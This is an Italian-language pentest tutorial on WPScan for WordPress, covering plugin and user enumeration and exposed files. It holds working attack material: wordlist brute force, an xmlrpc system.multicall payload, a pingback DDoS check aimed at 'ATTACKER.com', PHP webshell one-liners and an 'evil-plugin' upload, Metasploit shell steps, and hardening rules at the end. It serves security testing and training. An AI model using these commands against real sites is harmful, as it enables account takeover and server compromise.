WPScan: Pentest WordPress, Enumeration e Vulnerabilità

Guida pratica a WPScan per il pentest WordPress: installazione, scansione, enumeration di plugin, temi e utenti, vulnerabilità, API token e brute force.
- Pubblicato il 2026-08-08
- Tempo di lettura: 8 min
WPScan: guida completa al pentest WordPress, dall’enumerazione alle vulnerabilità #
WordPress alimenta oltre il 43% di tutti i siti web su internet. È il CMS più usato al mondo — ed è il più attaccato. Il core di WordPress è generalmente ben mantenuto e patchato rapidamente, ma l’ecosistema di 60.000+ plugin e migliaia di temi crea una superficie d’attacco enorme. La maggior parte dei compromessi WordPress non viene dal core ma da plugin vulnerabili, credenziali deboli e misconfigurazioni.
WPScan è il vulnerability scanner specifico per WordPress: identifica la versione del CMS, enumera plugin e temi installati, trova utenti, testa credenziali e confronta tutto con il database di vulnerabilità WPVulnDB. È scritto in Ruby, preinstallato su Kali Linux, e ha un’API gratuita per 25 request/giorno — sufficienti per la maggior parte dei siti.
Installazione e Setup API Token #
# Su Kali/Parrot — già installato
wpscan --update # aggiorna sempre prima di usarlo
# Su altri sistemi
gem install wpscan
# Docker (nessuna installazione richiesta)
docker pull wpscanteam/wpscan
# API Token — necessario per i dati di vulnerabilità
# 1. Registrati su wpscan.com (gratuito, 25 req/giorno)
# 2. Vai su Profile → API Token → copia il token
# Salva il token nella configurazione (non doverlo scrivere ogni volta)
mkdir -p ~/.wpscan
cat > ~/.wpscan/scan.yml << 'EOF'
cli_options:
api_token: IL_TUO_TOKEN_QUI
EOF
# Senza API token WPScan funziona comunque,
# ma non mostra i dati di vulnerabilità — solo versioniScan Base: Primo Approccio al Target #
# Scan base — identifica versione WP, temi, plugin attivi
wpscan --url https://target.com
# Con API token (aggiunge dati CVE a ogni componente trovato)
wpscan --url https://target.com --api-token TOKEN
# Output su file per documentazione
wpscan --url https://target.com --api-token TOKEN -o report.txt
wpscan --url https://target.com --api-token TOKEN -o report.json --format json
# WordPress in subdirectory
wpscan --url https://target.com/blog/
# Ignora certificati SSL self-signed
wpscan --url https://target.com --disable-tls-checksIl primo scan ti dà subito:
- Versione WordPress (aggiornata o vulnerabile?)
- Tema attivo e versione
- Plugin rilevati passivamente nel source HTML
- File interessanti esposti (readme.html, license.txt, wp-cron.php)
- Utenti rilevati automaticamente
Enumeration: Plugin, Temi, Utenti, Backup #
L’enumeration richiede il flag -e. Senza di esso WPScan fa solo il rilevamento passivo.
Plugin #
# Plugin rilevati passivamente (solo da HTML/JS della pagina)
wpscan --url https://target.com -e p
# Tutti i plugin con detection aggressiva (prova path noti per ogni plugin)
wpscan --url https://target.com -e ap --plugins-detection aggressive
# Solo plugin vulnerabili (richiede API token)
wpscan --url https://target.com -e vp --api-token TOKEN
# Versione dei plugin con detection aggressiva
wpscan --url https://target.com -e ap \
--plugins-version-detection aggressive \
--api-token TOKEN
# La detection aggressiva manda molte request — usa con cautela
# passive = solo da HTML (stealth, trova meno)
# mixed = ibrido (default)
# aggressive = proba tutti i path noti del pluginTemi #
# Tema attivo + temi installati
wpscan --url https://target.com -e t
# Solo temi vulnerabili
wpscan --url https://target.com -e vt --api-token TOKEN
# Tutti i temi con detection aggressiva
wpscan --url https://target.com -e at --themes-detection aggressiveFile Sensibili e Backup #
# Backup di wp-config.php e file sensibili
wpscan --url https://target.com -e cb
# Timthumb (vulnerabilità storica nei temi WordPress per resize immagini)
wpscan --url https://target.com -e tt
# Tutto insieme: plugin vuln + temi vuln + utenti + backup + timthumb
wpscan --url https://target.com \
-e vp,vt,u,cb,tt \
--api-token TOKEN \
--plugins-detection aggressiveUser Enumeration #
WPScan usa quattro tecniche per trovare gli username WordPress:
Tecnica 1 — Author Archive (permalink):
# WordPress espone il nome utente nell'URL degli articoli per autore
curl -sI "https://target.com/?author=1" | grep Location
# Location: https://target.com/author/admin/ → username: admin
curl -sI "https://target.com/?author=2" | grep Location
# Location: https://target.com/author/mario/ → username: mario
# WPScan lo fa in automatico:
wpscan --url https://target.com -e u
# Per numerare più ID:
wpscan --url https://target.com -e u1-50
# Prova author ID da 1 a 50Tecnica 2 — WordPress REST API:
# La REST API espone username e display name di default
curl -s "https://target.com/wp-json/wp/v2/users" | python3 -m json.tool
# [{"id":1,"name":"Admin","slug":"admin",...}]
# "slug" = username usato per il login
# Alternativa (alcuni siti disabilitano /users ma non questo endpoint):
curl -s "https://target.com/wp-json/wp/v2/users?per_page=100"Tecnica 3 — Login Error Message:
# WordPress risponde in modo diverso se l'username esiste
curl -s -X POST "https://target.com/wp-login.php" \
-d "log=admin&pwd=wrongpassword&wp-submit=Log+In"
# "The password you entered for the username admin is incorrect"
# → username "admin" esiste
curl -s -X POST "https://target.com/wp-login.php" \
-d "log=nonexistent&pwd=wrongpassword&wp-submit=Log+In"
# "Invalid username"
# → username "nonexistent" non esiste → user enumeration via erroriTecnica 4 — RSS Feed:
curl -s "https://target.com/feed/" | grep "<dc:creator>"
# <dc:creator><![CDATA[admin]]></dc:creator>
# → username "admin" esposto nel feed RSSBrute Force Credenziali #
Una volta trovati gli username, puoi testare le password.
Brute Force con WPScan #
# Brute force su wp-login.php con wordlist
wpscan --url https://target.com \
-U admin \
-P /usr/share/wordlists/rockyou.txt
# Con più username (file con uno per riga)
wpscan --url https://target.com \
-U users.txt \
-P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt
# Thread multipli (più veloce ma più rumoroso)
wpscan --url https://target.com \
-U admin \
-P rockyou.txt \
-t 10
# Wordlist WordPress-specific (password comuni su WP)
wpscan --url https://target.com \
-U admin \
-P /usr/share/seclists/Passwords/darkweb2017-top100.txtxmlrpc.php — Brute Force Amplificato #
xmlrpc.php è il vettore di brute force più potente su WordPress. Il metodo system.multicall permette di inviare centinaia di tentativi in una singola request HTTP — invisibile ai plugin di sicurezza che monitorano i tentativi su /wp-login.php.
Come funziona: invece di mandare una request per ogni password, ne mandi una sola con 500 chiamate wp.getUsersBlogs ognuna con credenziali diverse. Il server le elabora tutte → 500 tentativi, 1 request.
# Step 1: verifica che xmlrpc.php sia attivo
curl -s "https://target.com/xmlrpc.php"
# Risposta: "XML-RPC server accepts POST requests only." → attivo
# Step 2: elenca i metodi disponibili
curl -s -X POST "https://target.com/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'
# Cerca: wp.getUsersBlogs, system.multicall
# Step 3: brute force amplificato manuale (payload system.multicall)
cat > xmlrpc_payload.xml << 'EOF'
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params><param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><array><data>
<value><string>admin</string></value>
<value><string>password2</string></value>
</data></array></value>
</data></array></value></member>
</struct></value>
</data></array></value></param></params>
</methodCall>
EOF
curl -s -X POST "https://target.com/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d @xmlrpc_payload.xml
# Risposta corretta: "isAdmin" o lista blog → credenziali trovate
# Risposta errata: "Incorrect username or password"
# WPScan gestisce questo automaticamente
wpscan --url https://target.com \
-U admin \
-P rockyou.txt \
--password-attack xmlrpc-multicall
# Nota: da WordPress 4.4 il multicall è limitato
# (fallisce dopo il primo errore di autenticazione)
# Ma ancora sfruttabile su siti non aggiornatixmlrpc.php — Pingback DDoS #
Oltre al brute force, xmlrpc.php può essere usato per DDoS amplificato. Il metodo pingback.ping fa sì che il server WordPress contatti un URL esterno — un attaccante può usare migliaia di siti WordPress vulnerabili per amplificare traffico verso un target.
# Verifica se pingback è abilitato
curl -s -X POST "https://target.com/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://ATTACKER.com/</string></value></param><param><value><string>https://target.com/any-post/</string></value></param></params></methodCall>'
# Se risponde con un faultCode diverso da "not a valid target"
# → pingback attivo → DDoS amplification possibileWP REST API: Ricognizione Senza Tool #
La REST API di WordPress espone informazioni utili anche senza autenticazione:
# Utenti — slug = username per il login
curl -s "https://target.com/wp-json/wp/v2/users" | python3 -m json.tool
# Post e pagine — possono rivelare path, autori, metadati
curl -s "https://target.com/wp-json/wp/v2/posts?per_page=100"
# Categorie e tag — rivelano la struttura del sito
curl -s "https://target.com/wp-json/wp/v2/categories"
# Endpoint disponibili (scopri tutti gli endpoint REST)
curl -s "https://target.com/wp-json/" | python3 -m json.tool | grep namespace
# Plugin che aggiungono endpoint REST vulnerabili
# Cerca /wp-json/PLUGIN_NAME/ o /wp-json/wc/ (WooCommerce)
curl -s "https://target.com/wp-json/wc/v3/products"
# WooCommerce senza auth → espone dati prodotti e a volte ordiniFile Sensibili Esposti: Ricognizione Manuale #
# readme.html — rivela versione WordPress esatta
curl -s "https://target.com/readme.html" | grep -i "version"
# wp-config.php backup (creati da alcuni plugin o editor)
curl -I "https://target.com/wp-config.php.bak"
curl -I "https://target.com/wp-config.php~"
curl -I "https://target.com/wp-config.php.old"
curl -I "https://target.com/.wp-config.php.swp" # vim swap file
# Debug log esposto
curl -I "https://target.com/wp-content/debug.log"
# Upload directory listing
curl -s "https://target.com/wp-content/uploads/"
# Se risponde con directory listing → espone tutti i file caricati
# wp-cron.php — può essere abusato per DoS (richieste ripetute)
curl "https://target.com/wp-cron.php"
# Risponde 200 → esposto pubblicamente
# Accesso diretto a wp-admin senza redirect
curl -sI "https://target.com/wp-admin/"
# Redirect a wp-login.php = normale
# 200 con contenuto = misconfigurationVulnerabilità Plugin: Da CVE a Shell #
La maggior parte dei compromise WordPress avviene tramite plugin. Una volta identificata la versione di un plugin vulnerabile, l’exploitation segue il CVE specifico.
# Step 1: trova plugin e versioni
wpscan --url https://target.com \
-e ap \
--plugins-version-detection aggressive \
--api-token TOKEN
# Step 2: cerca exploit per il plugin trovato
searchsploit "wordpress plugin-name"
searchsploit "elementor 3.6" # esempio
# Step 3: usa nuclei per rilevamento automatico CVE WordPress
nuclei -u https://target.com -tags wordpress,cve -severity critical,high
# Vulnerabilità plugin più comuni per tipo:
# SQLI: molti plugin costruiscono query con input non sanitizzati
# File Upload non autenticato: plugin di contatto/gallery con upload
# LFI: plugin che includono file da parametri GET
# XSS: plugin che riflettono input nelle pagine
# CSRF: azioni admin senza nonce verificationDa Admin Panel a RCE #
Se ottieni accesso admin, la RCE è immediata:
# Metodo 1: Theme Editor (Appearance → Theme Editor)
# Modifica functions.php del tema attivo:
# <?php system($_GET['cmd']); ?>
# Accedi: https://target.com/?cmd=id
# Metodo 2: Plugin Editor (Plugin → Plugin Editor)
# Modifica un file PHP di un plugin attivo con la webshell
# Metodo 3: Upload plugin malevolo
# Crea un plugin ZIP con una webshell:
mkdir evil-plugin
cat > evil-plugin/evil-plugin.php << 'EOF'
<?php
/*
Plugin Name: Evil Plugin
*/
system($_GET['cmd']);
EOF
zip -r evil-plugin.zip evil-plugin/
# Carica via Plugin → Add New → Upload Plugin
# Accedi: https://target.com/wp-content/plugins/evil-plugin/evil-plugin.php?cmd=id
# Metodo 4: Metasploit (automatizza tutto)
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS target.com
set USERNAME admin
set PASSWORD password
runPer la gestione della shell ottenuta: rce, web-shell.
Scan Completo: Comando Unico #
# Scan completo per un pentest WordPress
wpscan \
--url https://target.com \
--api-token TOKEN \
-e vp,vt,u1-20,cb,tt \
--plugins-detection aggressive \
--plugins-version-detection aggressive \
--themes-detection aggressive \
-o wpscan_full.json \
--format json \
-t 5
# Poi cerca utenti con REST API (spesso trova di più)
curl -s "https://target.com/wp-json/wp/v2/users?per_page=100" | \
python3 -c "import sys,json; [print(u['slug']) for u in json.load(sys.stdin)]" \
> users_found.txt
# Brute force con gli utenti trovati
wpscan --url https://target.com \
-U users_found.txt \
-P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt \
--password-attack xmlrpc \
-t 10Hardening: Come Difendersi #
// functions.php — disabilita xmlrpc.php completamente
add_filter('xmlrpc_enabled', '__return_false');
// Oppure solo system.multicall
add_filter('xmlrpc_methods', function($methods) {
unset($methods['system.multicall']);
unset($methods['pingback.ping']);
return $methods;
});
// Disabilita REST API per utenti non autenticati
add_filter('rest_authentication_errors', function($result) {
if (!is_user_logged_in()) {
return new WP_Error('rest_not_logged_in', 'Autenticazione richiesta.', ['status' => 401]);
}
return $result;
});
// Rimuovi versione WordPress dagli header e feed
remove_action('wp_head', 'wp_generator');
add_filter('the_generator', '__return_empty_string');# Nginx: blocca accesso a xmlrpc.php
location = /xmlrpc.php {
deny all;
return 403;
}
# Blocca accesso a file sensibili
location ~* (readme\.html|license\.txt|wp-config\.php\.bak) {
deny all;
}
# Blocca directory listing in wp-content/uploads
location /wp-content/uploads {
location ~ \.php$ { deny all; }
}Per la configurazione degli header di sicurezza su WordPress: security-headers.
Checklist #
RICOGNIZIONE
☐ wpscan --url target.com → versione WordPress?
☐ readme.html accessibile? (rivela versione esatta)
☐ wp-config.php backup esposti? (.bak, .old, ~, .swp)
☐ debug.log esposto in wp-content/
☐ Directory listing in /wp-content/uploads/?
ENUMERATION
☐ Plugin: wpscan -e ap --plugins-detection aggressive
☐ Temi: wpscan -e at --themes-detection aggressive
☐ Vulnerabilità plugin/temi con API token: wpscan -e vp,vt
☐ Utenti: wpscan -e u1-20 + curl /wp-json/wp/v2/users
☐ User enumeration via /?author=1, /?author=2...
☐ REST API: /wp-json/wp/v2/ → endpoint esposti?
CREDENZIALI
☐ xmlrpc.php attivo? curl xmlrpc.php → risponde?
☐ system.multicall disponibile? → brute force amplificato
☐ pingback.ping attivo? → DDoS amplification possibile
☐ wp-login.php: errori distinti per username valido/non valido?
☐ Brute force: wpscan -U users.txt -P wordlist.txt
PLUGIN E CVE
☐ Versioni plugin identificate → searchsploit + nuclei
☐ Plugin con file upload: testato upload webshell?
☐ Plugin con SQLi: testato injection nei parametri?
☐ nuclei -tags wordpress,cve eseguito
POST-EXPLOITATION (se admin)
☐ Theme/Plugin Editor accessibile?
☐ Webshell via upload plugin ZIP?
☐ Metasploit wp_admin_shell_upload?
DOCUMENTAZIONE
☐ Screenshot wpscan output con vulnerabilità trovate
☐ Screenshot user enumeration (REST API o author archive)
☐ Screenshot brute force riuscito (credenziali trovate)
☐ Screenshot accesso admin panel
☐ Screenshot RCE (se escalato)FAQ #
Serve sempre l’API token per usare WPScan? No. Senza token WPScan funziona e trova versioni di plugin, temi e utenti. Ma non mostra i CVE associati alle versioni trovate — solo “Plugin X versione 2.3.1 installato” senza sapere se quella versione è vulnerabile. Con il token gratuito (25 req/giorno) ottieni anche i dati di vulnerabilità. Per scan frequenti serve un piano a pagamento.
La detection aggressiva è necessaria?
La detection passiva legge solo il source HTML della pagina — trova i plugin e temi citati esplicitamente. La detection aggressiva prova path noti per ogni plugin (/wp-content/plugins/nome-plugin/readme.txt) — trova molto di più ma genera centinaia di request. In un pentest autorizzato: usa aggressiva. In un bug bounty: verifica le regole del programma.
WordPress ha aggiornato la protezione su system.multicall?
Sì, da WordPress 4.4 il multicall fallisce dopo il primo errore di autenticazione. Ma: (1) molti siti sono ancora su versioni precedenti, (2) WPScan usa anche xmlrpc.getUsersBlogs direttamente che non è limitato allo stesso modo, (3) anche senza multicall xmlrpc.php rimane un vettore valido su wp-login.php non protetto.
Ho trovato un plugin vulnerabile ma non c’è un exploit pubblico. Cosa faccio? Leggi il changelog del plugin su wordpress.org — spesso descrive cosa è stato fixato (“Fixed: SQL injection in parameter X”). Cerca nel codice il parametro menzionato e testalo manualmente. Il CVE potrebbe non avere ancora un exploit pubblico ma la vulnerabilità è reale e testabile.
Da admin WordPress come arrivo a root del server? Admin → RCE (theme editor o plugin upload) → shell come www-data → privilege escalation (sudo -l, SUID, kernel exploit, credenziali in wp-config.php riusate su SSH). Il path dipende dalla configurazione del server. Parti sempre da linux-privesc dopo aver ottenuto la shell.
Risorse #
- WPScan GitHub — documentazione ufficiale
- WPScan.com — registrazione API token gratuita
- WPVulnDB — database vulnerabilità WordPress
- HackTricks — WordPress Pentesting
Il 43% del web gira su WordPress. Un plugin vulnerabile dimenticato e il server è tuo. Penetration test HackIta. Formazione 1:1.








